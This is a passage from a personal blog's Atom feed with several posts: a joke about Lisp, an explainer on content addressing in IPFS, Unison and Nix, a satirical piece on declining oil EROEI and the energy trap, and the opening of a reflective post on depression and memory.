<p>Also Clojure is run on the JVM which means it can tap into any Java class. So like… just use that if you're afraid there aren't enough libraries.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>No it's good that it runs on the JVM, I swear! Please stop laughing at me ;(</span></aside>
<p>The second issue is that even though it's super extensible, you can't extend it into a lower level language like Rust (and get the same benefits as a systems language). But who actually cares? Only insane people who have seen horrors beyond our comprehension are able to do systems programming.</p>
<p>So actually, I've changed my mind, the only problem Lisp has is that people don't use it.</p>
<p><strong>Cough, cough.</strong></p>
<hr />
<p>If you want recommendations with Lisp:</p>
<ul>
<li>Start with learning <a href="https://clojure.org">Clojure.</a><span class="footnote-link" id="footnote-6"><sup>(6)</sup></span><ul>
<li>Maybe watch Rich Hickey's (creator of Clojure) talk, <a href="https://www.infoq.com/presentations/Simple-Made-Easy/">"Simple Made Easy".</a> It isn't about Clojure but it is a very good introduction to many of Clojures' concepts.</li></ul></li>
<li>Or read the <a href="https://www.scheme.com/tspl4/">Scheme book.</a> Most people start learning Lisp with Scheme because it's a small language.</li>
<li>For fellow Vimmers:<ul>
<li><a href="https://github.com/Olical/conjure">conjure</a> helps with REPL development for evaluating code within your running program.</li>
<li><a href="https://github.com/clj-kondo/clj-kondo">clj-kondo</a> (Clojure only) is an almost required linter to help identify silly mistakes.</li>
<li><a href="https://shaunlebron.github.io/parinfer/">Parinfer</a> and its Vim plugin <a href="https://github.com/eraserhd/parinfer-rust">parinfer-rust</a> is especially important as it makes writing Lisp a thousand times easier.</li></ul></li>
</ul>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>PLEASE! IF THERE ARE MORE OF US, THEY WON'T BE ABLE TO MAKE FUN OF EVERYONE.</span></aside>
<p>Once you're comfortable with your Lisp dialect of choice, make sure you start a blog where the only content is:</p>
<ul>
<li>A post describing the static site generator you made in Lisp<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> that your blog uses and;</li>
<li>A post describing why Lisp is the best language.</li>
</ul>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>Unfortunately, this blog uses a static site generator written in SvelteJS.</span></aside>
<p>With that, the cycle of the Lisp cult can continue.</p>
<p>Also, the quote at the start is from Brian Hayes, <a href="https://web.archive.org/web/20060616171535/http://www.americanscientist.org/template/AssetDetail/assetid/51982/page/5">"The Semicolon Wars"</a> and the thumbnail is <a href="https://xkcd.com/297/">xkcd 297.</a></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Content Addressed Identification]]></title>
        <id>https://justin.duch.me/post/7a6d394a8cb0d25564cc7a1f9f1b1df9b53d792271f1f8a0efceff1d762a6801</id>
        <link href="https://justin.duch.me/post/7a6d394a8cb0d25564cc7a1f9f1b1df9b53d792271f1f8a0efceff1d762a6801"/>
        <updated>2021-03-01T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I hate having to think of titles for these posts. Since I don't plan any of these things out, when I start writing I'll have no real idea of how it will turn out, and they might go in a completely different direction to what I originally thought.</p>
<p>This is most problematic with the slugs I use for the post path. Have you noticed that the previous post is on the path <code class="prettyprint">/post/invest_in_oil</code>, but has very little to do with investing except for a joke at the end? That's because the post went through 3 rewrites and I was too lazy to change the file name of the markdown document from my first draft.</p>
<p>If you've been here for a long time, you might also remember that the path to each post was on <code class="prettyprint">/article/</code> instead of <code class="prettyprint">/post/</code>. I've changed this location some time ago, but apparently some search engines still link to the old path, forcing me to set-up a redirect from <code class="prettyprint">/article/</code> to <code class="prettyprint">/post/</code> or people would be directed to a dead link.</p>
<p>If you've assigned a label to a thing and that thing changes, are you supposed to give it a new label or just try to tell people that the label means something different and hope they understand? What happens if a label is incorrect from inception, but it caught on so people just keep using it?<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Like a certain political ideology.</span></aside>
<p>There's a very simple answer to all of these: don't have labels and describe things by what they are.</p>
<p>How would this work? Let's look at some examples.</p>
<h2 id="ipfs">IPFS</h2>
<blockquote>
  <p>IPFS (<a href="https://docs.ipfs.io/concepts/what-is-ipfs/">the InterPlanetary File System</a>) is a hypermedia distribution <strong>protocol</strong> addressed by content and identities. It enables the creation of completely distributed applications, and in doing so aims to make the web faster, safer, and more open.</p>
  <p>IPFS is a <strong>distributed file system</strong> that seeks to connect all computing devices with the same system of files. In some ways, this is similar to the original aims of the Web, but IPFS is actually more similar to a single BitTorrent swarm exchanging Git objects. You can read more about its origins in the paper <a href="https://github.com/ipfs/ipfs/blob/master/papers/ipfs-cap2pfs/ipfs-p2p-file-system.pdf?raw=true">IPFS - Content Addressed, Versioned, P2P File System</a>.</p>
</blockquote>
<p>This is what the web should be. IPFS is a peer-to-peer (p2p) storage network. Content is accessible through peers located anywhere in the world, that might relay information, store it, or do both. IPFS knows how to find what you ask for using its content address rather than its location.</p>
<p>I <strong>highly</strong> encourage you to read more about it. HTTP is a flawed protocol and IPFS eliminates the need for websites to have a central origin server, making it perhaps our best chance to entirely re-architect the Internet — before its own internal contradictions unravel it from within. I'm only going to talk about content addressing here, but there is a lot more that makes it work.</p>
<p>IPFS uses content addressing to identify content by what's in it rather than by where it's located. With HTTP (and every file system based on the Filesystem Hierarchy Standard), we identify content by it's location, e.g:</p>
<ul>
<li> <code class="prettyprint">https://justin.duch.me/post/content_based_identification</code></li>
<li> <code class="prettyprint">/Users/justin/dev/github.com/beanpuppy/justin.duch.me/_posts/2021-03-03-content_based_identification.md</code></li>
</ul>
<p>By contrast, every piece of content that uses the IPFS protocol has a content identifier, or CID, that is its hash. Many distributed systems make use of content addressing through hashes as a means for not just identifying content but also linking it together - everything from the commits that back your code to the blockchains that run cryptocurrencies leverage this strategy. However, the underlying data structures in these systems are not necessarily interoperable.</p>
<blockquote>
  <p>This is where the Interplanetary Linked Data (IPLD) project comes in. IPLD translates between hash-linked data structures allowing for the unification of the data across distributed systems. IPLD provides libraries for combining pluggable modules (parsers for each possible type of IPLD node) to resolve a path, selector, or query across many linked nodes, allowing you to explore data regardless of the underlying protocol. IPLD provides a way to translate between content-addressable data structures: "Oh, you use Git-style, no worries, I can follow those links. Oh, you use Ethereum, I got you, I can follow those links too!"</p>
</blockquote>
<p>IPFS/IPNS hashes are big, ugly strings that aren't easy to memorize. So IPFS gives us <a href="https://docs.ipfs.io/concepts/dnslink/#publish-using-a-subdomain">DNSLink</a> which allows you to use the existing Domain Name System (DNS) to provide human-readable links to IPFS/IPNS content. It does this by allowing you to insert the hash into a TXT record on your nameserver.</p>
<p>With this, IPFS has archiving and permanency <strong>in built</strong> into the protocol. Let's say this post has a CID like <code class="prettyprint">F6450F3FB903</code><span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>, which would be the hash of all the text in here. Someone can then pin it to their node and start serving the post as well (as they should). Now, If I were to change anything in this post I would get a completely new CID, maybe something like <code class="prettyprint">4F579386372C</code>. But the other nodes will still be serving the old post <code class="prettyprint">F6450F3FB903</code>.</p>
<p>So while I didn't really do anything, the nature of the protocol saved the history of this post.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>CIDs don't actually look like this.</span></aside>
<p>Of course, people want to update and change content all the time and don't want to send new links every time they do it. This is possible with IPFS in a number of ways, such as using a <a href="https://docs.ipfs.io/concepts/file-systems/#mutable-file-system-mfs">Mutable File System (MFS)</a> or the previously mentioned DNSLink.</p>
<p>It's important to remember in all of these situations, using IPFS is participatory and collaborative. If nobody using IPFS has the content identified by a given address available for others to access, you won't be able to get it. On the other hand, content can't be removed from IPFS as long as someone is interested enough to make it available, whether that person is the original author or not. Note that this is similar to the current web, where it is also impossible to remove content that's been copied across an unknowable number of websites; the difference with IPFS is that you are always able to find those copies.</p>
<h2 id="unison">Unison</h2>
<p><a href="https://www.unisonweb.org">Unison</a> is a functional, typed language largely influenced by Haskell, Erlang and a research language called Frank. Unison treats a codebase as an content addressable database where the "content" is a function definition. In Unison, the "codebase" is a somewhat abstract concept (unlike other languages where a codebase is a set of files) where you can inject definitions, somewhat similar to a Lisp image.</p>
<p>One can think of a program as a graph where every node is a definition and a definition's content can refer to other definitions. Unison content-addresses each node and aliases the address to a human-readable name.</p>
<p>When writing a new function, Unison calculates the hash of the implementation and instead of storing text files, what you save in the code base is the abstract syntax tree (AST) of the function, where references to other functions are made using the corresponding hashes. In this way, a management of the codebase is achieved that allows, among other things, the following:</p>
<ul>
<li>Not having to recompile anything</li>
<li>Trivial renaming</li>
<li>Cache test results</li>
<li>Eliminate dependency conflicts</li>
<li>Persistent typing and simple storage</li>
</ul>
<p>The Unison codebase is append only so definitions are never modified or deleted, only new ones are added, which means it can be versioned and synchronised with Git or similar tools without <strong>ever</strong> generating conflicts, and many types of information can be cached without worrying about invalidation.</p>
<p>The Unison codebase manager is the piece that makes all these things possible by storing the AST and becoming the only source of truth and not relying on textual representations found in text files. The human readable names you give are stored separately from the definitions, so renaming is fast and 100% accurate because Unison only needs to change the name associated with the hash in <strong>one</strong> place.</p>
<p>We're used to thinking of a program as a thing that describes what a single OS process will do, and then using a separate layer of technologies outside of our programming languages to "configure" many separate programs into a single distributed, elastic "system". This gets complicated. The core language of Unison starts with the premise that no matter how many nodes a computation occupies, it should be expressible via a single program, not many separate programs. Unison programs can describe their own deployment, elastically scale and orchestrate themselves, and deploy themselves in parallel onto any number of nodes for execution.</p>
<p>Since Unison is based of Haskell, it has a ML/Haskell type syntax which can be off-putting for some people. But because the codebase is actually just an AST, it would technically be possible to have many different syntaxes for the codebase manager to translate into an AST. There doesn't look like there's been that much activity on that front from the creators, but it is planned and is something I am <strong>very</strong> interesting in seeing be done and I'll be keenly following it's progress in the <a href="https://github.com/unisonweb/unison/issues/499">GitHub issue</a>.</p>
<p>Speaking of GitHub, one disadvantage that Unison has is that it doesn't really work with Git repo viewers like GitHub. Since Unison doesn't really deal with text files, there's no way to actually view the codebase of a Unison project with GitHub as you can see by their <a href="https://github.com/unisonweb/base">base libraries</a>. It seems there will need to be a special GitHub-like site for Unison that integrates the Unison codebase manager.</p>
<p>This isn't a programming language post, so I skipped out on any code snippets, but I'd recommend reading the <a href="https://www.unisonweb.org/docs/tour">tour</a> to learn more.</p>
<h2 id="nix">Nix</h2>
<p><a href="https://nixos.org">Nix</a> is a purely functional package manager. Which means packages are built by functions that don't have side-effects, and they never change after they have been built. Nix stores packages in the Nix store, usually the directory <code class="prettyprint">/nix/store</code>, where each package has its own unique subdirectory such as:</p>
<pre class="prettyprint linenums"><code>/nix/store/b6gvzjyb2pg0kjfwrjmg1vfhh54ad73z-firefox-33.1/
</code></pre>
<p>Where <code class="prettyprint">b6gvzjyb2pg0…</code> is a unique identifier for the package that captures all its dependencies (it's a cryptographic hash of the package's build dependency graph). Like all the others I've talked about, this gives us some cool and powerful features.</p>
<p>Again, Nix is much more than content addressing, and NixOS is a completely declarative OS (which is arguably much more exciting), but content addressing is an important part of it and what we're here for, so I'm mainly going to talk about that.</p>
<p>With Nix, you can have multiple versions or variants of a package installed at the same time. This is especially important when different applications have dependencies on different versions of the same package — it prevents the "DLL hell". Because of the hashing scheme, different versions of a package end up in different paths in the Nix store, so they don't interfere with each other.</p>
<p>It also gives easy multi-user support. This means that non-privileged users can securely install software. Each user can have a different profile, a set of packages in the Nix store that appear in the user's <code class="prettyprint">PATH</code>. If a user installs a package that another user has already installed previously, the package won't be built or downloaded a second time. At the same time, it is not possible for one user to inject a Trojan horse into a package that might be used by another user because the hash would become different.</p>
<p>Since package management operations never overwrite packages in the Nix store but just add new versions in different paths, they are atomic. So during a package upgrade, there is no time window in which the package has some files from the old version and some files from the new version — which would be bad because a program might well crash if it's started during that period. And since packages aren't overwritten, the old versions are still there after an upgrade. This means that you can <strong>rollback</strong> to the old version.</p>
<p>Nix is also extremely useful for developers as it makes it easy to automatically set up the build environment for a package. In Nix, you can look at any package and compute the entire dependency graph. This graph includes not only the names of the packages, but also precisely which version<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> of each package was used as a build input. This goes for both build inputs and runtime dependencies.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>By "version" I mean not only the version as listed in the release notes, but every detail of how the package was built: which version of Python was used? And then transitively: what version of C was used to compile that Python?</span></aside>
<p>Thanks to Nix's enforced determinism, you can trivially build container environments (and all of their required packages) in parallel across a fleet of build machines, similar to Docker.</p>
<p>In a container environment, Nix allows you to share packages with the host machine, and then each Nix container you spin up has the necessary runtime dependencies bind-mounted into the container's root file system. As a result, Nix has much better de-duplication (read: zero) than Docker. Also, by the same graph traversal mechanism, it's trivial to take any environment, serialize the runtime dependency graph, and send that graph to another machine, back it up somewhere, create a bootable ISO for CD/USB, do whatever.</p>
<p>These containers perform better than Docker as they don't use virtualisation and for multi-container deployment, there is NixOps. You write some Nix files describing the VMs you want to deploy, and run a bash command to deploy them to various back-ends (AWS, Azure, etc…). Again, the big difference here is that you can incrementally modify these VMs in a safe way using Nix. If you change your deployment config file, Nix will figure out something has changed, and modify the corresponding VMs to achieve the desired state.</p>
<hr />
<p>Everything I've shown is still new and early in development. Nix is probably the most robust of the bunch, but even then it can get confusing as hell. Now obviously you can't content address everything, unless we start figuring out how to hash physical objects, but content addressing and declarative systems are very interesting concepts I'd like to see in more things.</p>
<p>I think there's something to be said about how content addressing has enabled so many benefits in different ways to a variety of projects. You could easily apply it to real life, where you can say that: the descriptiveness of natural languages makes casual, arbitrary names of abstract concepts too ambiguous and open to interpretation. So referring to something by what it <strong>is</strong> rather than what it's called is generally better.</p>
<p>Or in another, simpler way:</p>
<p>PLEASE STOP CALLING YOURSELF AN ANARCHO-CAPITALIST.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Positive And Uplifiting Post About The Economy, The Future, And Oil]]></title>
        <id>https://justin.duch.me/post/invest_in_oil</id>
        <link href="https://justin.duch.me/post/invest_in_oil"/>
        <updated>2021-02-08T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Economies are fueled by energy produced in excess of the amount required to drive the energy production process. Any successful society’s energy resources must be both abundant and exploitable with a high ratio of energy return on energy invested (EROEI). Anything less than the break-even ratio of 1:1 means that the source provides no net energy, and anything less than 3:1 is generally considered not worth pursuing for energy purposes.</p>
<p>Oil's EROEI has been steadily decreasing from about 35:1 in 1999 to 18:1 in 2006<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> and with some estimates now having it down to as low as 6:1<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>. For comparison, meta-analysis of EROEI values for nuclear energy suggests a mean EROEI of about 14:1<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a>. And wind power has a high EROEI value, with the mean perhaps as high as 18:1<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a>, although wind power is heavily dependant on location.</p>
<p>Solar photovoltaics (PV) have a much more contested EROEI. Calculations on PV EROEI can have wildly different assumptions and methodologies employed and the EROEI values calculated. But Bhandari et al.<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a> calculated the mean value using data from 231 articles and gave PVs an EROEI of around 11:1.</p>
<p>Anyway, a rapidly declining EROEI for oil is obviously bad news for oil companies. This is all compounded with a sharp decrease in oil demand due to <em>[waves arms in the general direction of 2020]</em>, where at its worst, global demand dropped by 29 million barrels a day<a href="#reference-6" class="reference-link" id="reference-6-backlink"><sup>[6]</sup></a>.</p>
<p>We've hit peak oil.</p>
<p>Even BP expects that we'll never hit pre-2019 levels of oil demand ever again<a href="#reference-7" class="reference-link" id="reference-7-backlink"><sup>[7]</sup></a>. And because pandemic is expected to affect demand for a long while, companies are expected to start going belly up<a href="#reference-8" class="reference-link" id="reference-8-backlink"><sup>[8]</sup></a>.</p>
<p>Neat huh? I bet you're thinking something like this now:</p>
<p>"Oh cool! We're becoming less dependant on oil and fossil fuels in general! I bet we're going to start seriously investing in renewables which have an even higher EROEI! What a fun and positive post this is."</p>
<p>Unfortunately for you, it isn't so simple.</p>
<p>Renewable technology is currently in high demand and is expected to become higher, but the construction of this infrastructure requires energy, and energy is a commodity that looks like it will soon be in very short supply.</p>
<p>By the time energy demand starts to grows again, many oil companies will have either gone bankrupt or had to start cutting costs, which means our oil production abilities will have plummeted. Unless there's a massive breakthrough in renewables and they start giving us much better EROEIs over shorter periods of time, we can't expect renewables to be able to replace fossil fuels without severe losses in energy, let alone keep up demand.</p>
<p>EROEIs are calculated over the lifespan of the resource (for PVs, a common measurement is 30-40 years). So since it can be estimated that PV requires 3-4 years worth of its own energy output to fabricate, including the frames and associated electronics systems<a href="#reference-9" class="reference-link" id="reference-9-backlink"><sup>[9]</sup></a>. Then, we can use some basic math to get an EROEI of 10:1. Note that <strong>all</strong> of the energy invested is for the initial production of the PV, and it does not require any more energy after it's set up. So it's sort of like an investment that needs time to pay itself back.</p>
<blockquote>
  <p>Let’s say that our nation (or world) uses 100 units of fossil fuel energy one year, and expects to get only 98 units the following year. We need to come up with 2 units of replacement energy within a year’s time to fill the gap. If, for example, the replacement:</p>
  <ul>
  <li>has an EROEI of 10:1;</li>
  <li>requires most of the energy investment up front (solar panel or wind turbine manufacture, nuclear plant construction, etc.);</li>
  <li>and will last 40 years,</li>
  </ul>
  <p>then we need an up-front energy investment amounting to 4 year’s worth of the new source’s output energy. Since we require an output of 2 units of energy to fill the gap, we will need 8 units of energy to bring the resource into use.</p>
  <p>Of the 100 units of total energy resource in place in year one, only 92 are available for use—looking suddenly like an 8% decline. If we sit on our hands and do not launch a replacement infrastructure, we would have 98 units available for use next year. It’s still a decline, but a 2% decline is more palatable than an effective 8% decline. Since each subsequent year expects a similar fossil fuel decline, the game repeats. Where is the incentive to launch a new infrastructure?</p>
</blockquote>
<p><a href="https://dothemath.ucsd.edu/2011/10/the-energy-trap/">This is the energy trap.</a></p>
<blockquote>
  <p>Another aspect of the trap is that we cannot build our way out of the problem. If we tried to outsmart the trap by building an 8-unit replacement in year one, it would require 32 units to produce and only dig a deeper hole. The essential point is that up-front infrastructure energy costs mean that one step forward results in four steps back, given EROEI around 10:1 and up-front investment for a 40 year lifetime. Nature does not provide an energy financing scheme. You can’t build a windmill on promised energy.</p>
</blockquote>
<p>Conventional economists do not readily recognize the tight coupling between energy and the economy primarily because of the perceived abundance of fossil fuels that has allowed energy to be considered a necessary economic factor of production but in sufficient reserve quantities, that, like oxygen, can be accessed as necessary.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Conventional economists seem to conveniently not think about a lot of things. Hmm... maybe I should be writing that rant on the entire field of economics.</span></aside>
<p>We've been on an energy binge for the past 200 years and now we're at the end. With our previous surplus of energy made by energy sources with much higher EROEIs than they are now, our current up-front energy investment in renewable infrastructures have not been an issue. People have been expecting "peak oil" and the energy trap for years, but it's been delayed once before by fracking increasing the EROEI on some reservoirs, and again by shale oil picking up as a potential abundant source of oil whenever the price of crude oil rises.</p>
<p>But these are just delays, it's still going to happen. Oil (and other fossil fuels) are finite, we <strong>will</strong> run out (or rather, run out of sources that are economically viable). And if we don't have the renewable infrastructure to replace it, this can only mean sky-rocketing energy prices and a global recession.</p>
<p>The easiest way to stop it is to reduce the energy demand, create another surplus, and (this is the most important part) start increasing investments in renewables dramatically.</p>
<p>Sgouridis et al.<a href="#reference-10" class="reference-link" id="reference-10-backlink"><sup>[10]</sup></a> determined that in order for a sustainable energy transition to occur, a "significant increase in the renewable energy investment ratio (ε), ranging from 4 to 10 times higher than its current value", and to help "the concept of a 2000 W society (per person) has been proposed as a target for industrialized countries implying a reduction from 50% to 90% of per capita energy consumption from current figures."</p>
<p>This pandemic would have been (and maybe still is since it's still going on) a good time to go all in on renewables, but I don't think anyone's done that (or will).</p>
<p>And we certainly aren't going to lower demand any time in the future once it's over, especially if we keep an economic and political system that requires constant growth.</p>
<p>Joseph Tainter, author of "The Collapse of Complex Societies"<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>, has said that "it is usually not possible for a society to reduce its consumption of resources voluntarily over the long term." He has explained this in a 2009 speech at the 94th Annual Meeting of Ecological Society of America in New Mexico. This is an extract of the <a href="http://theoildrum.com/node/5745">transcript</a><span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I'm mentioning this, because it's a great book and you should read it.</span></aside>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I also think you should read this.</span></aside>
<blockquote>
  <p>Many advocates of sustainability will find it disturbing that long-term conservation is not possible. Naturally we must ask: Are there alternatives to this process? Regrettably, no simple solutions are evident. Consider some of the approaches commonly advocated:</p>
  <ol>
  <li><p><strong>Voluntarily Reduce Resource Consumption.</strong> While this may work for a time, its longevity as a strategy is constrained by the fact that societies increase in complexity to solve problems. Resource production must grow to fund the increased complexity. To implement voluntary conservation long term would require that a society be either uniquely lucky in not being challenged by problems, or that it not address the problems that confront it.</p></li>
  <li><p><strong>Employ the Price Mechanism to Control Resource Consumption.</strong> This is currently the laissez-faire strategy of industrialized nations. Since humans don’t commonly forego affordable consumption of desired goods and services, economists consider it more effective than voluntary conservation. Both approaches, however, lead eventually to the same outcome: As problems arise, resource consumption must increase at the societal level even if consumers as individuals purchase less.</p></li>
  <li><p><strong>Ration Resources.</strong> Because of its unpopularity, rationing is possible in democracies only for clear, short-term emergencies. This is illustrated by the reactions to rationing in England and the United States during World War II. Moreover, rationed resources may become needed to solve societal problems, belying any attempt to conserve through rationing. Something like this can be seen in the fiscal stimulus programs enacted recently.</p></li>
  <li><p><strong>Reduce Population.</strong> While this would reduce aggregate resource consumption temporarily, as a long-term strategy it has the same fatal flaw: Problems will emerge that require solutions, and those solutions will compel resource production to grow.</p></li>
  <li><p><strong>Hope for Technological Solutions.</strong> I sometimes call this a faith-based approach to our future. Members of industrialized societies are socialized to believe that we can always find a technological solution to resource problems. Technology, within the framework of this belief, will presumably allow us continually to reduce our resource consumption per unit of material well-being. Conventional economics teaches that to bring this about we need only the price mechanism and unfettered markets. The flaw here was pointed out by William Stanley Jevons: As technological improvements reduce the cost of using a resource, total consumption will actually increase.</p></li>
  </ol>
  <p>In conclusion, sustainability is not the achievement of stasis. It is not a passive consequence of having fewer humans who consume more limited resources. One must work at being sustainable. The challenges that any society (or other institution) might confront are, for practical purposes, endless in number and infinite in variety. This being so, sustainability is a matter of solving problems.</p>
</blockquote>
<p>"Wow, this doesn't look very good at all. I thought you said this was a positive post?! Did you lie to me?"</p>
<p>No, of course not, I've LITERALLY never told a lie in my entire life before. This post does have a happy ending, bear with me.</p>
<p>It's my <a href="https://itsyourbirthday.today/#justin">birthday.today</a> and every year instead of food, or money, or anything I actually need, I've always wished people would just give me OIL.</p>
<p>Crude oil is actually my favourite fossil fuel BY FAR. I understand that just having a favourite fossil fuel<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> at all might sound strange considering half the posts on this blog are rants about climate change, but who cares when this black gold will one day make me RICH.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>And since I'm Australian, you'd think it would be coal.</span></aside>
<p>No matter which way we go in attempt to solve this problem (if we even attempt it), either way, you're going to need oil in the future so where will you get it from?</p>
<p>ME!</p>
<p>With oil's diminishing EROEI and plummeting demand, I'm going to get in while prices are low and buy up a MASSIVE reserve of oil. So when demand comes back, and the poor little oil companies STRUGGLE to produce oil for a profit because their infrastructure has ROT and all the easy to access oil spots have DRIED up, I'll be the only able to satisfy the demand of the MARKET because my reserve is "pre-energy-invested". And you can be sure that I'm going PRICE GOUGE THE SHIT OUT OF EVERYONE.</p>
<p>Oh boo hoo, you'll have to go through a severe economic recession in an increasing hostile climate, probably leading to the complete collapse of civilisation all together. Why should I care, if GOD EMPEROR ELON MUSK will take me an every other RICH person to MARS? Because unlike you PEASANTS, us RICH people actually have class consciousness.</p>
<p>Besides, us RICH people are going to SOMEHOW save you from all this anyway even if WE caused it. DON'T WORRY! Reusable rockets that can land in the middle of the OCEAN are ABSOLUTELY what you NEED instead of just having no rockets because that idea is STUPID.</p>
<p>Screw GME, all my mates invest in OIL.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.mdpi.com/1996-1073/2/3/490/htm</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.nature.com/articles/s41560-019-0425-z</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.sciencedirect.com/science/article/pii/S0301421513006447</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: https://www.sciencedirect.com/science/article/abs/pii/S096014810900055X</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: https://www.sciencedirect.com/science/article/abs/pii/S136403211500146X</div>
<div class="reference" id="reference-6"><a class="reference-link" href="#reference-6-backlink"><sup>[6]</sup></a>: https://www.iea.org/reports/oil-market-report-april-2020</div>
<div class="reference" id="reference-7"><a class="reference-link" href="#reference-7-backlink"><sup>[7]</sup></a>: https://www.bp.com/content/dam/bp/business-sites/en/global/corporate/pdfs/energy-economics/energy-outlook/bp-energy-outlook-2020.pdf</div>
<div class="reference" id="reference-8"><a class="reference-link" href="#reference-8-backlink"><sup>[8]</sup></a>: https://cnbc.com/2020/04/21/the-oil-industry-shakeout-is-just-beginning-with-more-production-cuts-and-bankruptcies-ahead.html</div>
<div class="reference" id="reference-9"><a class="reference-link" href="#reference-9-backlink"><sup>[9]</sup></a>: https://www.nrel.gov/docs/fy04osti/35489.pdf</div>
<div class="reference" id="reference-10"><a class="reference-link" href="#reference-10-backlink"><sup>[10]</sup></a>: https://www.mdpi.com/2071-1050/6/5/2601/htm</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sometimes To Cope With The Difficulty Of Being Alive, I Consider The Possibility That I Don't Actually Exist And All My Memories Are The Dreams Of An Imaginative Red Panda]]></title>
        <id>https://justin.duch.me/post/memory_depression</id>
        <link href="https://justin.duch.me/post/memory_depression"/>
        <updated>2021-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Alt title</strong>: Who Needs A Hippocampus Anyway?</p>
<p>Salut mon cher amie !! :3 Ow0</p>
<p>Aujourd'hui est le troisième anniversaire… and that's as long as I'm going to keep that up.</p>
<p>This blog is now 3 years old! How cool! In that time I've written 94 posts (excluding this one) totalling 99,983 words and giving a combined ~6 hours of reading time (at 270 words per minute).</p>
<p>The last year has been really good for this blog<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> as I've started to get an understanding on what I actually want to write about and how to write about it. I started this site because I wanted to try some new things after I got my first job, hence the boring technical documents. I've never enjoyed writing bland documents, and if I was still doing that I would have stopped publishing more posts a long time ago. So the past two years have just been me trying to find a reason to continue writing.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you're wondering about readership, I have no idea. I don't have anything to track readers and I don't care enough to add any.</span></aside>
<p>Lately, I've been trying to give some of my posts a sort of narrative "structure" instead of just being a wall of information to make it more entertaining and digestible. One thing I like to do is sometimes open with something that is sort of irrelevant to the actual post and in the end make a callback to it which ties everything together. Like it's sort of a twist, where you go "oh so I guess the entire first 3 paragraphs weren't a complete waste of my time!" I don't know if there's a word for that, the closet I could think of was "foreshadowing" but I'm not too sure about that.</p>
<p>I still think 90% of everything I write is trash that is unfunny and boring, but I feel like I've been improving (maybe?) at least.</p>
<p>And speaking of trash that is unfunny and boring, last year's anniversary post is firmly in that 90% pile. I've went and read it again in preparation for this year and holy shit why did I even bother to write that. I'm not going to link it here, but I don't delete any posts after they've been published so if you want it, you can go find it yourself.</p>
<p>It did give me some ideas on what to write about though. I think I'd like to have these posts be more about <strong>me</strong>, this is a personal blog after all, I talk in first person and pretty much always refer to you directly here.</p>
<p>So this is another post about depression.</p>
<p>Here's a fun fact: depressed people have trouble remembering fine details of events they've experienced.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>I only learnt about this two or so months ago. It seemed really applicable to me because I have difficulty in remembering events even as lately as a couple years, but I've always assumed that my memory was bad because it was just like that.</p>
<p>One of the more unhelpful things people say to me as an attempt to cheer me up (or something, I honestly have no idea) is to try to remember happy things that have happened. But to be honest, I only have one memory that I can recall somewhat fondly.</p>
<p>That is, a trip to Japan and seeing a <a href="/post/coffee_siphon">coffee siphon for the first time</a>. Which I'm fairly sure I only remember because the coffee siphon that I see every day in my apartment reminds me of it.</p>
<p>And that's really it. I only have <strong>one</strong> positive memory, everything else is either meh, or anxiety inducing. This is why trying to remember positive events is unhelpful for me, because every time I remember that I only have one I just get more upset.</p>
<p>So after learning about this possible explanation, I did what any normal person would do, and started reading medical journals to find out if I could figure out what was happening and why.</p>
<p>Many memory deficits in depression appear to be downstream consequences of chronic stress. The area of the brain dealing with learning and memory, the hippocampus, is sensitive to stress and tends to be smaller in people with depression (by nearly 20% in some people) because it suppresses neurogenesis (the process by which new neurons are formed in the brain).<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
